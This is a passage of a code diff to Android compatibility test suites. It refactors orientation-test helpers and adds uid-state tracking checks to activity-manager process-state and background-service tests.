- final int newOrientation = originalOrientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
- ? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
- : ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
- changeOrientation(activity, instrumentation, newOrientation);
- changeOrientation(activity, instrumentation, originalOrientation);
+ final int[] orientations = getOrientations(activity);
+ activity.setRequestedOrientation(orientations[1]);
+ activity.setRequestedOrientation(orientations[0]);
}
/**
* Switches the device's orientation from landscape to portrait or portrait to landscape.
*
- * @param activity whose orientation will be changed.
- * @param instrumentation use for idle syncing
+ * @param activity whose orientation will be changed
+ * @return original orientation
*/
- public static void switchOrientation(final Activity activity, Instrumentation instrumentation) {
- final int originalOrientation = activity.getResources().getConfiguration().orientation;
- final int newOrientation = originalOrientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
- ? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
- : ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
- changeOrientation(activity, instrumentation, newOrientation);
+ public static void switchOrientation(final Activity activity) {
+ final int[] orientations = getOrientations(activity);
+ activity.setRequestedOrientation(orientations[1]);
}
- private static void changeOrientation(final Activity activity,
- Instrumentation instrumentation, final int orientation) {
- activity.setRequestedOrientation(orientation);
- if (instrumentation != null) {
- instrumentation.waitForIdleSync();
+ /**
+ * Returns original orientation and toggled orientation.
+ * @param activity whose orienetaion will be returned
+ * @return The first element is original orientation adn the second element is toggled
+ * orientation.
+ */
+ private static int[] getOrientations(final Activity activity) {
+ final int originalOrientation = activity.getResources().getConfiguration().orientation;
+ final int newOrientation = originalOrientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
+ ? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
+ : ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
+ return new int[] { originalOrientation, newOrientation };
+ }
+
+ /**
+ * Observer used in stub activities to wait for some event.
+ */
+ public static class Observer {
+ private static final int TIMEOUT_SEC = 3;
+ private final AtomicReference<CountDownLatch> mLatch = new AtomicReference();
+
+ /**
+ * Starts observing event.
+ * The returned CountDownLatch will get activated when onObserved is invoked after this
+ * call. The method cannot be called multiple times unless reset() is invoked.
+ * @return CountDownLatch will get activated when onObserved is invoked after this call.
+ */
+ public void startObserving() {
+ final CountDownLatch latch = new CountDownLatch(1);
+ assertTrue(mLatch.compareAndSet(null, latch));
+ }
+
+ /**
+ * Waits until onObserved is invoked.
+ */
+ public void await() throws InterruptedException {
+ try {
+ assertTrue(mLatch.get().await(TIMEOUT_SEC, TimeUnit.SECONDS));
+ } finally {
+ mLatch.set(null);
+ }
+ }
+
+ /**
+ * Notifies an event is observed.
+ * If this method is invoked after startObserving, the returned CountDownLatch will get
+ * activated. Otherwise it does nothing.
+ */
+ public void onObserved() {
+ final CountDownLatch latch = mLatch.get();
+ if (latch != null) {
+ latch.countDown();
+ }
}
}
}
diff --git a/tests/app/app/src/android/app/stubs/TestDialog.java b/tests/app/app/src/android/app/stubs/TestDialog.java
index e404e65..18ef3be 100644
--- a/tests/app/app/src/android/app/stubs/TestDialog.java
+++ b/tests/app/app/src/android/app/stubs/TestDialog.java
@@ -50,8 +50,10 @@
public boolean isOnKeyDownCalled;
public boolean isOnKeyUpCalled;
public boolean isOnKeyMultipleCalled;
- public boolean isOnSaveInstanceStateCalled;
- public static boolean isOnRestoreInstanceStateCalled;
+ public final OrientationTestUtils.Observer onSaveInstanceStateObserver =
+ new OrientationTestUtils.Observer();
+ public final static OrientationTestUtils.Observer onRestoreInstanceStateObserver =
+ new OrientationTestUtils.Observer();
public boolean isOnWindowAttributesChangedCalled;
public boolean isOnCreatePanelMenuCalled;
public boolean isOnCreatePanelViewCalled;
@@ -167,16 +169,15 @@
@Override
public Bundle onSaveInstanceState() {
- isOnSaveInstanceStateCalled = true;
saveInstanceState = super.onSaveInstanceState();
+ onSaveInstanceStateObserver.onObserved();
return saveInstanceState;
}
@Override
public void onRestoreInstanceState(Bundle savedInstanceState) {
- isOnRestoreInstanceStateCalled = true;
this.savedInstanceState = savedInstanceState;
-
+ onRestoreInstanceStateObserver.onObserved();
super.onRestoreInstanceState(savedInstanceState);
}
diff --git a/tests/app/app2/Android.mk b/tests/app/app2/Android.mk
index 794c689..2689c30 100644
--- a/tests/app/app2/Android.mk
+++ b/tests/app/app2/Android.mk
@@ -30,7 +30,7 @@
LOCAL_PACKAGE_NAME := CtsAppTestStubsDifferentUid
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_DEX_PREOPT := false
diff --git a/tests/app/appSdk25/Android.mk b/tests/app/appSdk25/Android.mk
index 64eda91..36c6d07 100644
--- a/tests/app/appSdk25/Android.mk
+++ b/tests/app/appSdk25/Android.mk
@@ -28,7 +28,7 @@
LOCAL_SDK_VERSION := 25
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAppTestSdk25
diff --git a/tests/app/src/android/app/cts/ActionBarTest.java b/tests/app/src/android/app/cts/ActionBarTest.java
index 2cfc970..d6e41a0 100644
--- a/tests/app/src/android/app/cts/ActionBarTest.java
+++ b/tests/app/src/android/app/cts/ActionBarTest.java
@@ -23,6 +23,7 @@
import android.test.ActivityInstrumentationTestCase2;
import android.test.UiThreadTest;
import android.view.KeyEvent;
+import android.view.ViewConfiguration;
import android.view.Window;
import java.util.concurrent.TimeUnit;
@@ -86,7 +87,9 @@
}
public void testOptionsMenuKey() throws Exception {
- if (!mActivity.getWindow().hasFeature(Window.FEATURE_OPTIONS_PANEL)) {
+ boolean hasPermanentMenuKey = ViewConfiguration.get(getActivity()).hasPermanentMenuKey();
+ if (!mActivity.getWindow().hasFeature(Window.FEATURE_OPTIONS_PANEL)
+ || hasPermanentMenuKey) {
return;
}
final boolean menuIsVisible[] = {false};
@@ -94,17 +97,20 @@
isVisible -> menuIsVisible[0] = isVisible);
// Wait here for test activity to gain focus before sending keyevent.
// Visibility listener needs the action bar to be visible.
- assertTrue(mActivity.windowFocusSignal.await(1000, TimeUnit.MILLISECONDS));
getInstrumentation().sendKeyDownUpSync(KeyEvent.KEYCODE_MENU);
getInstrumentation().waitForIdleSync();
assertTrue(menuIsVisible[0]);
+ assertTrue(mActivity.windowFocusSignal.await(1000, TimeUnit.MILLISECONDS));
getInstrumentation().sendKeyDownUpSync(KeyEvent.KEYCODE_MENU);
getInstrumentation().waitForIdleSync();
+ assertTrue(mActivity.windowFocusSignal.await(1000, TimeUnit.MILLISECONDS));
assertFalse(menuIsVisible[0]);
}
public void testOpenOptionsMenu() {
- if (!mActivity.getWindow().hasFeature(Window.FEATURE_OPTIONS_PANEL)) {
+ boolean hasPermanentMenuKey = ViewConfiguration.get(getActivity()).hasPermanentMenuKey();
+ if (!mActivity.getWindow().hasFeature(Window.FEATURE_OPTIONS_PANEL)
+ || hasPermanentMenuKey) {
return;
}
final boolean menuIsVisible[] = {false};
diff --git a/tests/app/src/android/app/cts/ActivityKeyboardShortcutsTest.java b/tests/app/src/android/app/cts/ActivityKeyboardShortcutsTest.java
index 91c7f44..4192883 100644
--- a/tests/app/src/android/app/cts/ActivityKeyboardShortcutsTest.java
+++ b/tests/app/src/android/app/cts/ActivityKeyboardShortcutsTest.java
@@ -91,6 +91,8 @@
private boolean keyboardShortcutsSupported() {
// Keyboard shortcuts API is not supported on watches.
// TODO(b/62257073): Provide a more granular feature to check here.
- return !mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+ // 2017-10-17: Updated to also exclude EMBEDDED
+ return !mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH) &&
+ !mActivity.getPackageManager().hasSystemFeature(PackageManager.FEATURE_EMBEDDED);
}
}
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index ec08a89..7c1ed0d 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -20,16 +20,19 @@
import android.app.Activity;
import android.app.ActivityManager;
import android.app.Instrumentation;
+import android.app.KeyguardManager;
import android.app.cts.android.app.cts.tools.ServiceConnectionHandler;
import android.app.cts.android.app.cts.tools.ServiceProcessController;
import android.app.cts.android.app.cts.tools.SyncOrderedBroadcast;
import android.app.cts.android.app.cts.tools.UidImportanceListener;
import android.app.cts.android.app.cts.tools.WaitForBroadcast;
+import android.app.cts.android.app.cts.tools.WatchUidRunner;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.os.IBinder;
import android.os.Parcel;
+import android.os.PowerManager;
import android.os.RemoteException;
import android.test.InstrumentationTestCase;
@@ -74,6 +77,9 @@
super.tearDown();
}
+ /**
+ * Test basic state changes as processes go up and down due to services running in them.
+ */
public void testUidImportanceListener() throws Exception {
final Parcel data = Parcel.obtain();
ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, mServiceIntent);
@@ -117,109 +123,151 @@
am.addOnUidImportanceListener(uidGoneListener,
ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED);
- // First kill the processes to start out in a stable state.
- conn.bind(WAIT_TIME);
- conn2.bind(WAIT_TIME);
+ WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid);
+
try {
- conn.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
- } catch (RemoteException e) {
+ // First kill the processes to start out in a stable state.
+ conn.bind(WAIT_TIME);
+ conn2.bind(WAIT_TIME);
+ IBinder service1 = conn.getServiceIBinder();
+ IBinder service2 = conn2.getServiceIBinder();
+ conn.unbind(WAIT_TIME);
+ conn2.unbind(WAIT_TIME);
+ try {
+ service1.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+ } catch (RemoteException e) {
+ }
+ try {
+ service2.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+ } catch (RemoteException e) {
+ }
+ service1 = service2 = null;
+
+ // Wait for uid's processes to go away.
+ uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ // And wait for the uid report to be gone.
+ uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null, WAIT_TIME);
+
+ // Now bind and see if we get told about the uid coming in to the foreground.
+ conn.bind(WAIT_TIME);
+ uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ // Also make sure the uid state reports are as expected. Wait for active because
+ // there may be some intermediate states as the process comes up.
+ uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
+
+ // Pull out the service IBinder for a kludy hack...
+ IBinder service = conn.getServiceIBinder();
+
+ // Now unbind and see if we get told about it going to the background.
+ conn.unbind(WAIT_TIME);
+ uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
+ // Now kill the process and see if we are told about it being gone.
+ try {
+ service.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+ } catch (RemoteException e) {
+ // It is okay if it is already gone for some reason.
+ }
+
+ uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ uidWatcher.expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_GONE, null, WAIT_TIME);
+
+ // Now we are going to try different combinations of binding to two processes to
+ // see if they are correctly combined together for the app.
+
+ // Bring up both services.
+ conn.bind(WAIT_TIME);
+ conn2.bind(WAIT_TIME);
+ uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ // Also make sure the uid state reports are as expected.
+ uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
+
+ // Bring down one service, app state should remain foreground.
+ conn2.unbind(WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ // Bring down other service, app state should now be cached. (If the processes both
+ // actually get killed immediately, this is also not a correctly behaving system.)
+ conn.unbind(WAIT_TIME);
+ uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
+ // Bring up one service, this should be sufficient to become foreground.
+ conn2.bind(WAIT_TIME);
+ uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
+
+ // Bring up other service, should remain foreground.
+ conn.bind(WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ // Bring down one service, should remain foreground.
+ conn.unbind(WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ // And bringing down other service should put us back to cached.
+ conn2.unbind(WAIT_TIME);
+ uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+ } finally {
+ data.recycle();
+
+ uidWatcher.finish();
+
+ am.removeOnUidImportanceListener(uidForegroundListener);
+ am.removeOnUidImportanceListener(uidGoneListener);
}
- try {
- conn2.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
- } catch (RemoteException e) {
- }
- conn.unbind(WAIT_TIME);
- conn2.unbind(WAIT_TIME);
-
- // Wait for uid's processes to go away.
- uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
- ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Now bind and see if we get told about the uid coming in to the foreground.
- conn.bind(WAIT_TIME);
- uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
- ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Pull out the service IBinder for a kludy hack...
- IBinder service = conn.getServiceIBinder();
-
- // Now unbind and see if we get told about it going to the background.
- conn.unbind(WAIT_TIME);
- uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
- ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Now kill the process and see if we are told about it being gone.
- try {
- service.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
- } catch (RemoteException e) {
- // It is okay if it is already gone for some reason.
- }
-
- uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
- ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Now we are going to try different combinations of binding to two processes to
- // see if they are correctly combined together for the app.
-
- // Bring up both services.
- conn.bind(WAIT_TIME);
- conn2.bind(WAIT_TIME);
- uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
- ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Bring down one service, app state should remain foreground.
- conn2.unbind(WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Bring down other service, app state should now be cached. (If the processes both
- // actually get killed immediately, this is also not a correctly behaving system.)
- conn.unbind(WAIT_TIME);
- uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
- ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Bring up one service, this should be sufficient to become foreground.
- conn2.bind(WAIT_TIME);
- uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
- ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Bring up other service, should remain foreground.
- conn.bind(WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Bring down one service, should remain foreground.
- conn.unbind(WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // And bringing down other service should put us back to cached.
- conn2.unbind(WAIT_TIME);
- uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
- ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- data.recycle();
-
- am.removeOnUidImportanceListener(uidForegroundListener);
- am.removeOnUidImportanceListener(uidGoneListener);
}
+ /**
+ * Test that background check correctly prevents idle services from running but allows
+ * whitelisted apps to bypass the check.
+ */
public void testBackgroundCheckService() throws Exception {
final Parcel data = Parcel.obtain();
Intent serviceIntent = new Intent();
@@ -249,14 +297,18 @@
am.addOnUidImportanceListener(uidGoneListener,
ActivityManager.RunningAppProcessInfo.IMPORTANCE_EMPTY);
+ WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid);
+
// First kill the process to start out in a stable state.
mContext.stopService(serviceIntent);
conn.bind(WAIT_TIME);
+ IBinder service = conn.getServiceIBinder();
+ conn.unbind(WAIT_TIME);
try {
- conn.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+ service.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
} catch (RemoteException e) {
}
- conn.unbind(WAIT_TIME);
+ service = null;
// Wait for uid's process to go away.
uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
@@ -264,9 +316,16 @@
assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+ // And wait for the uid report to be gone.
+ uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null, WAIT_TIME);
+
cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ // This is a side-effect of the app op command.
+ uidWatcher.expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "NONE", WAIT_TIME);
+
// We don't want to wait for the uid to actually go idle, we can force it now.
cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
@@ -298,15 +357,31 @@
mContext.startService(serviceIntent);
conn.waitForConnect(WAIT_TIME);
+ // Also make sure the uid state reports are as expected.
+ uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
// Good, now stop the service and give enough time to get off the temp whitelist.
mContext.stopService(serviceIntent);
conn.waitForDisconnect(WAIT_TIME);
+
+ uidWatcher.expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
Thread.sleep(3000);
+ // Going off the temp whitelist causes a spurious proc state report... that's
+ // not ideal, but okay.
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
// We don't want to wait for the uid to actually go idle, we can force it now.
cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ uidWatcher.expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
// Now that we should be off the temp whitelist, make sure we again can't start.
failed = false;
try {
@@ -326,14 +401,22 @@
mContext.startService(serviceIntent);
conn.waitForConnect(WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
// Okay, bring down the service.
mContext.stopService(serviceIntent);
conn.waitForDisconnect(WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
} finally {
mContext.stopService(serviceIntent);
conn.stopMonitoring();
+ uidWatcher.finish();
+
cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
@@ -346,6 +429,10 @@
}
}
+ /**
+ * Test that background check behaves correctly after a process is no longer foreground:
+ * first allowing a service to be started, then stopped by the system when idle.
+ */
public void testBackgroundCheckStopsService() throws Exception {
final Parcel data = Parcel.obtain();
ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, mServiceIntent);
@@ -373,21 +460,26 @@
am.addOnUidImportanceListener(uidGoneListener,
ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED);
+ WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid);
+
// First kill the process to start out in a stable state.
mContext.stopService(mServiceIntent);
mContext.stopService(mService2Intent);
conn.bind(WAIT_TIME);
conn2.bind(WAIT_TIME);
- try {
- conn.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
- } catch (RemoteException e) {
- }
- try {
- conn2.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
- } catch (RemoteException e) {
- }
+ IBinder service = conn.getServiceIBinder();
+ IBinder service2 = conn2.getServiceIBinder();
conn.unbind(WAIT_TIME);
conn2.unbind(WAIT_TIME);
+ try {
+ service.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+ } catch (RemoteException e) {
+ }
+ try {
+ service2.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+ } catch (RemoteException e) {
+ }
+ service = service2 = null;
// Wait for uid's process to go away.
uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
@@ -395,9 +487,16 @@
assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+ // And wait for the uid report to be gone.
+ uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null, WAIT_TIME);
+
cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ // This is a side-effect of the app op command.
+ uidWatcher.expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "NONE", WAIT_TIME);
+
// We don't want to wait for the uid to actually go idle, we can force it now.
cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
@@ -421,7 +520,7 @@
fail("Service was allowed to start while in the background");
}
- // First poke the process into the foreground, so we can avoid background check.
+ // First poke the process into the foreground, so we can avoid background check.
conn2.bind(WAIT_TIME);
conn2.waitForConnect(WAIT_TIME);
@@ -432,6 +531,11 @@
assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+ // Also make sure the uid state reports are as expected.
+ uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
+
conn2.unbind(WAIT_TIME);
// Wait for process to recover back down to being cached.
@@ -440,10 +544,16 @@
assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+ uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
// Try starting the service now that the app is waiting to idle... should work!
mContext.startService(mServiceIntent);
conn.waitForConnect(WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
// And also start the second service.
conn2.startMonitoring();
mContext.startService(mService2Intent);
@@ -463,12 +573,19 @@
conn.waitForDisconnect(WAIT_TIME);
conn2.waitForDisconnect(WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+ // There may be a transient 'SVC' proc state here.
+ uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
} finally {
mContext.stopService(mServiceIntent);
